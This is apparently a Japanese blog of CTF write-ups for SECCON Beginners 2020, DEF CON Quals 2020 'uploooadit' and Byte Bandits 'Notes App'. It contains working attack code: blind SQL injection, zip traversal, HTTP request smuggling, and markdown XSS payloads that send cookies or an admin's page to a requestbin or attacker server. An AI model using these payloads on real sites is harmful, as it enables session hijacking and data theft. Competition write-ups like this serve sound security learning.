SECCON Beginners CTF 2020 Writeup
noranecoチームは未参加のため、いつもと違うチームで参加。
Web問を中心に解いた。
色々な方がwriteupを書いてくれると思うので簡易的なwriteupにとどめる。
Web
Spy
DBに存在するユーザを特定すれば勝ち。
ソースコードを読むと、nameを条件にDBからユーザを検索して、存在しない場合は終了し、存在する場合は後続でパスワードのハッシュを計算する処理がある。よって、ユーザの存在有無でレスポンス時間に差異が生まれる。ご丁寧にも、処理時間をレスポンスに含めてくれている。
$ for u in `cat employees.txt`; do echo $u ;curl https://spy.quals.beginners.seccon.jp/ -d "name=$u&password=hoge" -s | grep "It took"; done Arthur <p style="font-size: 12px; color: #aaaaaa;">It took 0.0002787 sec to load this page.</p> Barbara <p style="font-size: 12px; color: #aaaaaa;">It took 0.0003148 sec to load this page.</p> Christine <p style="font-size: 12px; color: #aaaaaa;">It took 0.0003008 sec to load this page.</p> David <p style="font-size: 12px; color: #aaaaaa;">It took 0.0003564 sec to load this page.</p> Elbert <p style="font-size: 12px; color: #aaaaaa;">It took 0.3527238 sec to load this page.</p> Franklin <p style="font-size: 12px; color: #aaaaaa;">It took 0.0002318 sec to load this page.</p> George <p style="font-size: 12px; color: #aaaaaa;">It took 0.4679147 sec to load this page.</p> Harris <p style="font-size: 12px; color: #aaaaaa;">It took 0.0003867 sec to load this page.</p> Ivan <p style="font-size: 12px; color: #aaaaaa;">It took 0.0003446 sec to load this page.</p> Jane <p style="font-size: 12px; color: #aaaaaa;">It took 0.0002919 sec to load this page.</p> Kevin <p style="font-size: 12px; color: #aaaaaa;">It took 0.0006480 sec to load this page.</p> Lazarus <p style="font-size: 12px; color: #aaaaaa;">It took 0.4976170 sec to load this page.</p> Marc <p style="font-size: 12px; color: #aaaaaa;">It took 0.3256018 sec to load this page.</p> Nathan <p style="font-size: 12px; color: #aaaaaa;">It took 0.0002081 sec to load this page.</p> Oliver <p style="font-size: 12px; color: #aaaaaa;">It took 0.0002898 sec to load this page.</p> Paul <p style="font-size: 12px; color: #aaaaaa;">It took 0.0003184 sec to load this page.</p> Quentin <p style="font-size: 12px; color: #aaaaaa;">It took 0.0003119 sec to load this page.</p> Randolph <p style="font-size: 12px; color: #aaaaaa;">It took 0.0002607 sec to load this page.</p> Scott <p style="font-size: 12px; color: #aaaaaa;">It took 0.0003556 sec to load this page.</p> Tony <p style="font-size: 12px; color: #aaaaaa;">It took 0.3267539 sec to load this page.</p> Ulysses <p style="font-size: 12px; color: #aaaaaa;">It took 0.0002503 sec to load this page.</p> Vincent <p style="font-size: 12px; color: #aaaaaa;">It took 0.0003067 sec to load this page.</p> Wat <p style="font-size: 12px; color: #aaaaaa;">It took 0.0002440 sec to load this page.</p> Ximena <p style="font-size: 12px; color: #aaaaaa;">It took 0.6319789 sec to load this page.</p> Yvonne <p style="font-size: 12px; color: #aaaaaa;">It took 0.5589504 sec to load this page.</p> Zalmon <p style="font-size: 12px; color: #aaaaaa;">It took 0.0002911 sec to load this page.</p>
処理時間の長いユーザを入力してフラグゲット。
Tweetstore
dbのcurrent_userを取得できれば勝ち。 SQLiの問題。
searchパラメータとlimitパラメータを入力可能。 searchパラメータは'記号がエスケープされてwhere句にセットされるが、limitパラメータはエスケープされずにlimit句へセットされる。 limit句にcurrent_userのASCIIコード値をセットして、返ってくる件数を観察することで1文字ずつ特定可能。
import requests URL = "https://tweetstore.quals.beginners.seccon.jp/" flag = "" for i in range(50): r = requests.get( URL, params = { "search":"", "limit":"ascii(substr(current_user,{},1))-48".format(len(flag)+1) }, ) count = r.text.count("Watch@Twitter") flag += chr(count + 48) print(flag)
$ python solve.py c ct ctf ctf4 ctf4b (snip) ctf4b{is_postgres_your_friend?}
unzip
ディレクトリトラバーサルするzipファイルを作るだけ。
$ wget https://raw.githubusercontent.com/ptoomey3/evilarc/master/evilarc.py $ touch flag.txt $ python evilarc.py -d 3 -o unix flag.txt $ unzip -l evil.zip Archive: evil.zip Length Date Time Name --------- ---------- ----- ---- 0 2020-05-23 17:32 ../../../flag.txt --------- ------- 0 1 file
アップロードしてアクセスするとフラグゲット
ctf4b{y0u_c4nn07_7ru57_4ny_1npu75_1nclud1n6_z1p_f1l3n4m35}
profiler
graphql injectionの問題。
# curl https://profiler.quals.beginners.seccon.jp/api -H "content-type: application/json" -d '{"query":"query {__type (name: \"Query\") {name fields{name type{name kind ofType{name kind}}}}}"}' -s | jq { "data": { "__type": { "fields": [ { "name": "me", "type": { "kind": "NON_NULL", "name": null, "ofType": { "kind": "OBJECT", "name": "User" } } }, { "name": "someone", "type": { "kind": "OBJECT", "name": "User", "ofType": null } }, { "name": "flag", "type": { "kind": "NON_NULL", "name": null, "ofType": { "kind": "SCALAR", "name": "String" } } } ], "name": "Query" } }
someoneクエリがある。 adminの情報を取得してみる。
# curl https://profiler.quals.beginners.seccon.jp/api -H "content-type: application/json" -d '{"query":"query {someone(uid: \"admin\") {uid,token}}"}' -s | jq { "data": { "someone": { "token": "743fb96c5d6b65df30c25cefdab6758d7e1291a80434e0cdbb157363e1216a5b", "uid": "admin" } } }
以下を参考にスキーマを取得。
PayloadsAllTheThings/GraphQL Injection at master · swisskyrepo/PayloadsAllTheThings · GitHub
updateTokenが存在。自分のTokenをadminのtokenに変更する。
その後、FLAGの画面からフラグゲット。
Somen
まず、security.jsのロードをbaseタグで妨害。
CSPにstrict-dynamicが設定されていると、nonceが適切に設定されたscriptタグ内からロードされるスクリプトの実行は許可されるため、idがmessageのscriptタグを作って差し込んでもらう。
location.href="http://requestbin.net/r/1jban181?"+document.cookie; //</title><base href="http://example.com/"><script id="message"></script>
Crypt
R&B
先頭1文字削りながらBASE64とROT13を繰り返すだけ。
Reversing
ghost
$ echo ctf4b{AAAA} | gs -c "/flag 64 string def /output 8 string def (%stdin) (r) file flag readline not { (I/O Error\n) print quit } if 0 1 2 index length { 1 index 1 add 3 index 3 index get xor mul 1 463 { 1 index mul 64711 mod } repeat exch pop dup output cvs print ( ) print 128 mod 1 add exch 1 add exch } repeat (\n) print quit" GPL Ghostscript 9.52 (2020-03-19) Copyright (C) 2020 Artifex Software, Inc. All rights reserved. This software is supplied under the GNU AGPLv3 and comes with NO WARRANTY: see the file COPYING for details. 3417 61039 39615 14756 10315 49836 8453 13295 12034 59378 12638
最初のctf4b{の部分が、与えられたoutput.txtの最初と一致することがわかったので、あとは1文字ずつつ探していく。
import subprocess import string correct = open("output.txt").read() flag = "ctf4b{" while True: found = False for c in '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!"#$%&()*+,-./:;<=>?@[]^_`{|}~ ': cmd1 = "echo '{}'".format(flag + c) cmd2 = "| gs -c '/flag 64 string def /output 8 string def (%stdin) (r) file flag readline not { (I/O Error\n) print quit } if 0 1 2 index length { 1 index 1 add 3 index 3 index get xor mul 1 463 { 1 index mul 64711 mod } repeat exch pop dup output cvs print ( ) print 128 mod 1 add exch 1 add exch } repeat (\n) print quit'" cmd = cmd1 + cmd2 result = subprocess.check_output(cmd, shell=True).decode("utf-8").split("\n")[4] #print(correct) #print(result) if result in correct: flag = flag + c print(flag) found = True break if found: continue else: print(flag) exit(0)
$ python3 solve.py ctf4b{s (snip) ctf4b{st4ck_m4ch1n3_1s_4_l0t_0f_fun!}
Reversingを一切しておらず、出題者に申し訳ない気持ちしかない。
Misc
readme
/proc/self/environ
を確認すると、/home/ctf/server
で実行されていることがわかる。
よって、/proc/self/cwd
から親ディレクトリを辿ればよい。
$ nc readme.quals.beginners.seccon.jp 9712 File: /proc/self/cwd/../flag ctf4b{m4g1c4l_p0w3r_0f_pr0cf5}
DEF CON CTF Qualifier 2020 Writeup - uploooadit
Question
https://uploooadit.oooverflow.io/ Files: app.py 358c19d6478e1f66a25161933566d7111dd293f02d9916a89c56e09268c2b54c store.py dd5cee877ee73966c53f0577dc85be1705f2a13f12eb58a56a500f1da9dc49c0
ソースコードは以下のとおり。
app.py
import os import re from flask import Flask, abort, request import store GUID_RE = re.compile( r"\A[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}\Z" ) app = Flask(__name__) app.config["MAX_CONTENT_LENGTH"] = 512 filestore = store.S3Store() # Uncomment the following line for simpler local testing of this service # filestore = store.LocalStore() @app.route("/files/", methods=["POST"]) def add_file(): if request.headers.get("Content-Type") != "text/plain": abort(422) guid = request.headers.get("X-guid", "") if not GUID_RE.match(guid): abort(422) filestore.save(guid, request.data) return "", 201 @app.route("/files/<guid>", methods=["GET"]) def get_file(guid): if not GUID_RE.match(guid): abort(422) try: return filestore.read(guid), {"Content-Type": "text/plain"} except store.NotFound: abort(404) @app.route("/", methods=["GET"]) def root(): return "", 204
store.py
"""Provides two instances of a filestore. There is not intended to be any vulnerability contained within this code. This file is provided to make it easier to test locally without needing access to an S3 bucket. -OOO """ import os import boto3 import botocore class NotFound(Exception): pass class LocalStore: def __init__(self): import tempfile self.upload_directory = tempfile.mkdtemp() def read(self, key): filepath = os.path.join(self.upload_directory, key) try: with open(filepath, "rb") as fp: return fp.read() except FileNotFoundError: raise NotFound def save(self, key, data): with open(os.path.join(self.upload_directory, key), "wb") as fp: fp.write(data) class S3Store: """Credentials grant access only to resource s3://BUCKET/* and only for: * GetObject * PutObject """ def __init__(self): self.bucket = os.environ["BUCKET"] self.s3 = boto3.client("s3") def read(self, key): try: response = self.s3.get_object(Bucket=self.bucket, Key=key) except botocore.exceptions.ClientError as exception: if exception.response["HTTPStatusCode"] == 403: raise NotFound # No other exceptions encountered during testing return response["Body"].read() def save(self, key, data): self.s3.put_object( Body=data, Bucket=self.bucket, ContentType="text/plain", Key=key )
Solution
ソースコードを読むと、以下の機能を持つことがわかる。
/files/
にX-guid
ヘッダーを付けてPOSTすると、HTTPリクエストボディの内容をAWSのS3に保存/files/<GUID>
にGETすると、保存したデータを取得- デバッグ/開発者用にS3でなくローカルファイルで動作可能な機能もある
まずは適当なGUIDをセットしてPOSTしてみる。
$ curl https://uploooadit.oooverflow.io/files/ -H "Content-Type: text/plain" -H "X-guid: 14371510-af00-1211-3333-afed3109dade" -d "aaaaaaaa" -v * Trying 3.135.56.183:443... * TCP_NODELAY set * Connected to uploooadit.oooverflow.io (3.135.56.183) port 443 (#0) * ALPN, offering http/1.1 * successfully set certificate verify locations: * CAfile: /etc/ssl/certs/ca-certificates.crt CApath: none * TLSv1.2 (OUT), TLS handshake, Client hello (1): * TLSv1.2 (IN), TLS handshake, Server hello (2): * TLSv1.2 (IN), TLS handshake, Certificate (11): * TLSv1.2 (IN), TLS handshake, Server key exchange (12): * TLSv1.2 (IN), TLS handshake, Server finished (14): * TLSv1.2 (OUT), TLS handshake, Client key exchange (16): * TLSv1.2 (OUT), TLS change cipher, Change cipher spec (1): * TLSv1.2 (OUT), TLS handshake, Finished (20): * TLSv1.2 (IN), TLS change cipher, Change cipher spec (1): * TLSv1.2 (IN), TLS handshake, Finished (20): * SSL connection using TLSv1.2 / ECDHE-RSA-AES128-GCM-SHA256 * ALPN, server did not agree to a protocol * Server certificate: * subject: CN=*.oooverflow.io * start date: May 9 00:00:00 2020 GMT * expire date: Jun 9 12:00:00 2021 GMT * subjectAltName: host "uploooadit.oooverflow.io" matched cert's "*.oooverflow.io" * issuer: C=US; O=Amazon; OU=Server CA 1B; CN=Amazon * SSL certificate verify ok. > POST /files/ HTTP/1.1 > Host: uploooadit.oooverflow.io > User-Agent: curl/7.69.0-DEV > Accept: */* > Content-Type: text/plain > X-guid: 14371510-af00-1211-3333-afed3109dade > Content-Length: 8 > * upload completely sent off: 8 out of 8 bytes * Mark bundle as not supporting multiuse < HTTP/1.1 201 CREATED < Server: gunicorn/20.0.0 < Date: Sat, 16 May 2020 02:09:41 GMT < Content-Type: text/html; charset=utf-8 < Content-Length: 0 < Via: haproxy < X-Served-By: ip-10-0-0-112.us-east-2.compute.internal < * Connection #0 to host uploooadit.oooverflow.io left intact
gunicornのバージョンが得られた。 また、haproxyが間にいることがわかる。
gunicornの更新履歴を確認する。
docs.gunicorn.org
fixed chunked encoding support to prevent any request smuggling
これがあやしい。以下の攻撃手法を使うと推測。
portswigger.net
この手法が使えれば、自分が決めたGUIDの領域に、他者のHTTPリクエストの内容を記録できそうだ。
Googleで専用のツールがあるか検索して、以下のリポジトリでsmuggler.pyというツールを発見する。
Transfer-EncodingとContent-Lengthに色々なパターンのデータをセットして、上記の脆弱性の有無を確認してくれる。
github.com
$ wget https://raw.githubusercontent.com/gwen001/pentest-tools/master/smuggler.py $ python3 smuggler.py -u https://uploooadit.oooverflow.io/ -v 4 _ ___ _ __ ___ _ _ __ _ __ _| | ___ _ __ _ __ _ _ / __| '_ ` _ \| | | |/ _` |/ _` | |/ _ \ '__| | '_ \| | | | \__ \ | | | | | |_| | (_| | (_| | | __/ | _ | |_) | |_| | |___/_| |_| |_|\__,_|\__, |\__, |_|\___|_| (_) | .__/ \__, | |___/ |___/ |_| |___/ by @gwendallecoguic [+] 0 hosts found: None [+] 1 urls found: https://uploooadit.oooverflow.io/ [+] 1 path found: None [+] options are -> threads:10, verbose:4 [+] 1 urls to test. [+] testing... https://uploooadit.oooverflow.io/ M= C=405 L=451 time=169 T=text/html; charset=utf-8 V=- >>>POST / HTTP/1.1 Host: uploooadit.oooverflow.io User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:56.0) Gecko/20100101 Firefox/60.0 Accept: */* Accept-Language: en-US,en;q=0.5 Content-Type: application/x-www-form-urlencoded Connection: close Content-Length: 0 <<< >>>HTTP/1.1 405 METHOD NOT ALLOWED Server: gunicorn/20.0.0 Date: Sun, 17 May 2020 00:26:56 GMT Connection: close Content-Type: text/html; charset=utf-8 Allow: GET, HEAD, OPTIONS Content-Length: 178 Via: haproxy X-Served-By: ip-10-0-0-225.us-east-2.compute.internal <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN"> <title>405 Method Not Allowed</title> <h1>Method Not Allowed</h1> <p>The method is not allowed for the requested URL.</p> <<< https://uploooadit.oooverflow.io/ M=CL:TE1|vanilla C=400 L=216 time=169 T=text/html V=- >>>POST / HTTP/1.1 Host: uploooadit.oooverflow.io User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:56.0) Gecko/20100101 Firefox/60.0 Accept: */* Accept-Language: en-US,en;q=0.5 Content-Type: application/x-www-form-urlencoded Connection: close Content-Length: 5 Transfer-Encoding: chunked 1 Z Q <<< >>>HTTP/1.0 400 Bad request Server: haproxy 1.9.10 Cache-Control: no-cache Connection: close Content-Type: text/html <html><body><h1>400 Bad request</h1> Your browser sent an invalid request. </body></html> <<< (snip)
そのままでは成功しなかったが、haproxy 1.9.10
であることがわかった。
もう少し調べてみると以下の記事を発見。
ミドルウェア、バージョンともに出題環境と一致している。
HAProxy HTTP request smuggling - nathandavison.com
上記の記事を見ながらツールを改造する。
- Connectionヘッダーに
Close
をセットしない。 - 攻撃データに、自分が決めたGUIDの領域(X-guidヘッダーでセット)へ他人のHTTPリクエストの内容を記録するPOSTリクエスト電文をセット。
- POSTリクエスト後に、/files/
にGETして、他人のHTTPリクエストの内容が記録できているか確認。 - なお、Content-Lengthの390は、実行しながら調整した結果。最初は100くらいから試した。
$ cp -p smuggler.py smuggler_mod.py $ diff smuggler.py smuggler_mod.py 57c57 < 'Connection': 'close', --- > # 'Connection': 'close', 66a67,81 > guid = "14371510-af00-1211-3333-afed3109dade" > > body="""1 > A > 0 > > POST /files/ HTTP/1.1 > Host: uploooadit.oooverflow.io > Content-Type: text/plain > X-guid: {} > Content-Length: 390 > > hoge""".format(guid).replace("\n","\r\n") > > 68,71c83,87 < {'name':'CL:TE1', 'Content-Length':5, 'body':'1\r\nZ\r\nQ\r\n\r\n'}, < {'name':'CL:TE2', 'Content-Length':11, 'body':'1\r\nZ\r\nQ\r\n\r\n'}, < {'name':'TE:CL1', 'Content-Length':5, 'body':'0\r\n\r\n'}, < {'name':'TE:CL2', 'Content-Length':6, 'body':'0\r\n\r\nX'}, --- > # {'name':'CL:TE1', 'Content-Length':5, 'body':'1\r\nZ\r\nQ\r\n\r\n'}, > # {'name':'CL:TE2', 'Content-Length':11, 'body':'1\r\nZ\r\nQ\r\n\r\n'}, > # {'name':'TE:CL1', 'Content-Length':5, 'body':'0\r\n\r\n'}, > # {'name':'TE:CL2', 'Content-Length':6, 'body':'0\r\n\r\nX'}, > {'name':'EXPLORE', 'Content-Length':len(body), 'body':body}, 631c647,652 < --- > print("-------- requests start --------") > r = requests.get( > "https://uploooadit.oooverflow.io/files/{}".format(guid) > ) > print(r.text) > print("-------- requests end --------")
実行する。
$ python3 smuggler_mod.py -u https://uploooadit.oooverflow.io/ -m prefix1_11 -v 4 _ ___ _ __ ___ _ _ __ _ __ _| | ___ _ __ _ __ _ _ / __| '_ ` _ \| | | |/ _` |/ _` | |/ _ \ '__| | '_ \| | | | \__ \ | | | | | |_| | (_| | (_| | | __/ | _ | |_) | |_| | |___/_| |_| |_|\__,_|\__, |\__, |_|\___|_| (_) | .__/ \__, | |___/ |___/ |_| |___/ by @gwendallecoguic [+] 0 hosts found: None [+] 1 urls found: https://uploooadit.oooverflow.io/ [+] 1 path found: None [+] options are -> threads:10, verbose:4 [+] 1 urls to test. [+] testing... https://uploooadit.oooverflow.io/ M= C=405 L=432 time=162 T=text/html; charset=utf-8 V=- >>>POST / HTTP/1.1 Host: uploooadit.oooverflow.io User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:56.0) Gecko/20100101 Firefox/60.0 Accept: */* Accept-Language: en-US,en;q=0.5 Content-Type: application/x-www-form-urlencoded Content-Length: 0 <<< >>>HTTP/1.1 405 METHOD NOT ALLOWED Server: gunicorn/20.0.0 Date: Sun, 17 May 2020 00:22:59 GMT Content-Type: text/html; charset=utf-8 Allow: GET, HEAD, OPTIONS Content-Length: 178 Via: haproxy X-Served-By: ip-10-0-0-183.us-east-2.compute.internal <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN"> <title>405 Method Not Allowed</title> <h1>Method Not Allowed</h1> <p>The method is not allowed for the requested URL.</p> <<< https://uploooadit.oooverflow.io/ M=EXPLORE|prefix1_11 C=405 L=432 time=162 T=text/html; charset=utf-8 V=- >>>POST / HTTP/1.1 Host: uploooadit.oooverflow.io User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:56.0) Gecko/20100101 Firefox/60.0 Accept: */* Accept-Language: en-US,en;q=0.5 Content-Type: application/x-www-form-urlencoded Content-Length: 165 Transfer-Encoding: chunked 1 A 0 POST /files/ HTTP/1.1 Host: uploooadit.oooverflow.io Content-Type: text/plain X-guid: 14371510-af00-1211-3333-afed3109dade Content-Length: 390 hoge<<< >>>HTTP/1.1 405 METHOD NOT ALLOWED Server: gunicorn/20.0.0 Date: Sun, 17 May 2020 00:23:00 GMT Content-Type: text/html; charset=utf-8 Allow: GET, HEAD, OPTIONS Content-Length: 178 Via: haproxy X-Served-By: ip-10-0-0-225.us-east-2.compute.internal <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN"> <title>405 Method Not Allowed</title> <h1>Method Not Allowed</h1> <p>The method is not allowed for the requested URL.</p> <<< -------- requests start -------- hogePOST /files/ HTTP/1.1 Host: 127.0.0.1:8080 User-Agent: invoker Accept-Encoding: gzip, deflate Accept: */* Content-Type: text/plain X-guid: 931ab38b-2a16-4074-a603-5295cb90ef39 Content-Length: 152 X-Forwarded-For: 127.0.0.1 Congratulations! OOO{That girl thinks she's the queen of the neighborhood/She's got the hottest trike in town/That girl, she holds her head up so high} -------- requests end --------
出題者が定期的にフラグ文字列をPOSTするリクエストを流していたようで、フラグゲット。
OOO{That girl thinks she's the queen of the neighborhood/She's got the hottest trike in town/That girl, she holds her head up so high}
Byte Bandits CTF 2020 Writeup - Notes App
Question
noob just created a secure app to write notes. Show him how secure it really is! https://notes.web.byteband.it/
Solution
調査
ソースコードが添付されている。
main.pyのみ、以下に転記する。
import os from flask import Flask, render_template, request, flash, redirect from flask_sqlalchemy import SQLAlchemy from flask_login import LoginManager from flask_login import login_required, logout_user, current_user, login_user import markdown2 import requests from .models import User from . import db, create_app, login_manager from .visit_link import q, visit_url app = create_app() # configure login_manager {{{1 # @login_manager.user_loader def load_user(user_id): """Check if user is logged-in on every page load.""" if user_id is not None: return User.query.get(user_id) return None @login_manager.unauthorized_handler def unauthorized(): """Redirect unauthorized users to Login page.""" flash('You must be logged in to view that page.') return redirect("/login") # 1}}} # # configure routes {{{1 # @app.route("/") def index(): if current_user.is_authenticated: return redirect("/profile") return render_template("index.html") @app.route("/register", methods = ["GET", "POST"]) def register(): if current_user.is_authenticated: return redirect("/profile") if request.method == 'POST': # register user id = request.form.get('username') password = request.form.get('password') existing_user = User.query.filter_by(id = id).first() # Check if user exists if existing_user is None: user = User(id = id) user.set_password(password) user.notes = "" db.session.add(user) db.session.commit() # Create new user login_user(user) # Log in as newly created user return redirect("/profile") flash('A user already exists with that name already exists.') return redirect("/register") return render_template("register.html") @app.route("/login", methods = ["GET", "POST"]) def login(): if current_user.is_authenticated: return redirect("/profile") if request.args.get("username"): # register user id = request.args.get('username') password = request.args.get('password') user = User.query.filter_by(id = id).first() if user and user.check_password(password = password): login_user(user) return redirect("/profile") flash('Incorrect creds') return redirect("/login") return render_template("login.html") @app.route("/visit_link", methods=["GET", "POST"]) def visit_link(): if request.method == "POST": url = request.form.get("url") token = request.form.get("g-recaptcha-response") r = requests.post("https://www.google.com/recaptcha/api/siteverify", data = { 'secret': os.environ.get('RECAPTCHA_SECRET'), 'response': token }) if r.json()['success']: job = q.enqueue(visit_url, url, result_ttl = 600) flash("Our admin will visit the url soon.") return render_template("visit_link.html", job_id = job.id) else: flash("Recaptcha verification failed") return render_template("visit_link.html") @app.route("/status") def status(): job_id = request.args.get('job_id') job = q.fetch_job(job_id) status = job.get_status() return render_template("status.html", status = status) @app.route("/profile") @login_required def profile(): return render_template("profile.html", current_user = current_user) @app.route("/update_notes", methods=["POST"]) @login_required def update_notes(): # markdown support!! current_user.notes = markdown2.markdown(request.form.get('notes'), safe_mode = True) db.session.commit() return redirect("/profile") @app.route("/logout") @login_required def logout(): logout_user() return redirect("/") # 1}}} #
以下の機能を持つ。
- /register ユーザ登録
- /login ログイン
- /visit_link 管理者へリンクを送信(その後、管理者がURLへアクセスする)
- /status 管理者がURLへアクセスしたかどうか確認
- /profile 自分のプロファイルを表示
- /update_notes 自分のプロファイルを更新
- /logout ログアウト
フラグは管理者のプロファイルに記録されている。
管理者にXSSを仕掛けた画面にアクセスせて、管理者のプロファイルを窃取する方法を考える。
XSS
プロファイルはマークダウン記法で投稿可能。
markdown2でHTMLに変換している。
@app.route("/update_notes", methods=["POST"]) @login_required def update_notes(): # markdown support!! current_user.notes = markdown2.markdown(request.form.get('notes'), safe_mode = True) db.session.commit() return redirect("/profile")
requirements.txtを確認すると、markdown2==2.3.8
。最新版を使用している。
しかし、githubのissueを見ると、未修正のXSSの脆弱性が残っていることがわかる。
<http://g<!s://q?<!-<[<script>alert(1);/\*](http://g)->a><http://g<!s://g.c?<!-<[a\\*/</script>alert(1);/*](http://g)->a>
自分のプロファイルに設定してみる。
アラート表示に成功。
これで管理者を自分のプロファイル画面へ誘導すれば、任意のスクリプトが実行できる。
プロファイル画面への誘導
@app.route("/profile") @login_required def profile(): return render_template("profile.html", current_user = current_user)
/profile
にアクセスすると、現在ログインしているユーザのプロファイルを表示する実装である。
当然だが、管理者に/profile
へアクセスさせても、管理者が自身のプロファイル(フラグ)を表示するだけである。
ここで/login
のソースを確認する。
@app.route("/login", methods = ["GET", "POST"]) def login(): if current_user.is_authenticated: return redirect("/profile") if request.args.get("username"): # register user id = request.args.get('username') password = request.args.get('password') user = User.query.filter_by(id = id).first() if user and user.check_password(password = password): login_user(user) return redirect("/profile") flash('Incorrect creds') return redirect("/login") return render_template("login.html")
GETでusernameとpasswordを受け付けており、ログイン後に/profile
に自動遷移している。
よって、管理者に/login?username=<攻撃者のユーザ名>&password=<攻撃者のパスワード>
へアクセスさせれば、攻撃者のプロファイル画面に誘導できる。ただし、ログイン状態で/login
にアクセスすると、再ログイン処理をせずに/profile
に自動遷移するため、事前に/logout
へアクセスさせる必要がある。
exploit作成
管理者に、攻撃者のアカウントでログインさせた後では、管理者のプロファイルの画面を再表示できない。 よって、事前にiframeで管理者のプロファイル画面を表示させて、別のiframeでログアウトと攻撃者のアカウントへのログインをさせればよい。 そのようなHTMLを自サーバに用意する。
リクエストの順序が重要であるため、3秒間待つ。setTimeoutだとうまくいかなかったため、無理やりsleepさせる。
<html> <head> <script> function sleep(waitMsec){ var startMsec = new Date(); while (new Date() - startMsec < waitMsec); } window.addEventListener('load', function() { var adminframe = document.createElement("iframe"); adminframe.name = "adminframe"; adminframe.src = "https://notes.web.byteband.it/profile"; var body = document.querySelector("body"); body.appendChild(adminframe); sleep(3000); var logoutframe = document.createElement("iframe"); logoutframe.src = "https://notes.web.byteband.it/logout"; body.appendChild(logoutframe); sleep(3000); var loginframe = document.createElement("iframe"); loginframe.src = "https://notes.web.byteband.it/login?username=<攻撃者のユーザ名>&password=<攻撃者のパスワード>"; body.appendChild(loginframe); }, false); </script> </head> </html>
攻撃者のプロファイル画面には、管理者のプロファイル画面が表示されているadminframe
のコンテンツを取得して、攻撃者のサーバに送るスクリプトを仕掛ける。親フレームのHTMLは攻撃者のドメインだが、参照先のadminframe
フレームは出題サーバと同じドメインであるため、クロスドメインにはならない。
<http://g<!s://q?<!-<[<script>location.href='http://<myserver>?q='+btoa(top.adminframe.document.body.innerHTML);/\*](http://g)->a><http://g<!s://g.c?<!-<[a\\*/</script>hoge;/*](http://g)->a>
準備ができたら、管理者に自サーバのHTMLのリンク先を送信する。
アクセスが来た。
?q=CgkJCjxkaXYgY2xhc3M9Imhlcm8gaXMtZnVsbGhlaWdodCBpcy1jZW50ZXJlZCBpcy12Y2VudGVyZWQgaXMtcHJpbWFyeSI Cgk8ZGl2IGNsYXNzPSJoZXJvLWhlYWQiPgoJCTxuYXYgY2xhc3M9Im5hdmJhciI CgkJCTxkaXYgY2xhc3M9ImNvbnRhaW5lciI CgkJCQk8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPgoJCQkJCTxhIGhyZWY9Ii8iIGNsYXNzPSJuYXZiYXItaXRlbSI CgkJCQkJCU15Tm90ZXMKCQkJCQk8L2E CgkJCQk8L2Rpdj4KCQkJCTxkaXYgY2xhc3M9Im5hdmJhci1tZW51Ij4KCQkJCQk8ZGl2IGNsYXNzPSJuYXZiYXItZW5kIj4KCQkJCQkJPHNwYW4gY2xhc3M9Im5hdmJhci1pdGVtIj4KCQkJCQkJCTxhIGhyZWY9Ii9sb2dvdXQiIGNsYXNzPSJidXR0b24gaXMtcHJpbWFyeSBpcy1pbnZlcnRlZCI CgkJCQkJCQkJPHNwYW4 TG9nb3V0PC9zcGFuPgoJCQkJCQkJPC9hPgoJCQkJCQk8L3NwYW4 CgkJCQkJPC9kaXY CgkJCQk8L2Rpdj4KCQkJPC9kaXY CgkJPC9uYXY Cgk8L2Rpdj4KCTxkaXYgY2xhc3M9Imhlcm8tYm9keSBjb2x1bW5zIGlzLWNlbnRlcmVkIGhhcy10ZXh0LWNlbnRlcmVkIj4KCQk8ZGl2IGNsYXNzPSJjb2x1bW4gaXMtNCI CgkJCTxkaXYgY2xhc3M9InRpdGxlIj4KCQkJCUhvd2R5IGFkbWluIQoJCQk8L2Rpdj4KCQkJPCEtLSBzbyB0aGF0IHVzZXIgY2FuIHdyaXRlIGh0bWwgLS0 CgkJCTxwPglmbGFne2NoNDFuX3RIeV8zWHBsb2l0c190MF93MW59IDwvcD4KCQkJPGJyPgoJCQk8Zm9ybSBtZXRob2Q9InBvc3QiIGFjdGlvbj0iL3VwZGF0ZV9ub3RlcyI CgkJCQk8dGV4dGFyZWEgY2xhc3M9InRleHRhcmVhIiBuYW1lPSJub3RlcyIgcGxhY2Vob2xkZXI9IldyaXRlIHNvbWV0aGluZyBoZXJlIj48L3RleHRhcmVhPgoJCQkJPGlucHV0IGNsYXNzPSJidXR0b24gaXMtZnVsbHdpZHRoIiB0eXBlPSJzdWJtaXQiIHZhbHVlPSJVcGRhdGUiIG5hbWU9IiI CgkJCTwvZm9ybT4KCQk8L2Rpdj4KCTwvZGl2Pgo8L2Rpdj4KCgo8Zm9vdGVyIGNsYXNzPSJmb290ZXIiPgogIDxkaXYgY2xhc3M9ImNvbnRlbnQgaGFzLXRleHQtY2VudGVyZWQiPgogICAgPHA CiAgICAgIDxzdHJvbmc TXlOb3Rlczwvc3Ryb25nPiBieSBuMG9iLgogICAgPC9wPgogIDwvZGl2Pgo8L2Zvb3Rlcj4KCg==
BASE64デコードする。+がスペースになっているため戻しておく必要がある。
<div class="hero is-fullheight is-centered is-vcentered is-primary"> <div class="hero-head"> <nav class="navbar"> <div class="container"> <div class="navbar-brand"> <a href="/" class="navbar-item"> MyNotes </a> </div> <div class="navbar-menu"> <div class="navbar-end"> <span class="navbar-item"> <a href="/logout" class="button is-primary is-inverted"> <span>Logout</span> </a> </span> </div> </div> </div> </nav> </div> <div class="hero-body columns is-centered has-text-centered"> <div class="column is-4"> <div class="title"> Howdy admin! </div> <!-- so that user can write html --> <p> flag{ch41n_tHy_3Xploits_t0_w1n} </p> <br> <form method="post" action="/update_notes"> <textarea class="textarea" name="notes" placeholder="Write something here"></textarea> <input class="button is-fullwidth" type="submit" value="Update" name=""> </form> </div> </div> </div> <footer class="footer"> <div class="content has-text-centered"> <p> <strong>MyNotes</strong> by n0ob. </p> </div> </footer>
フラグゲット。
flag{ch41n_tHy_3Xploits_t0_w1n}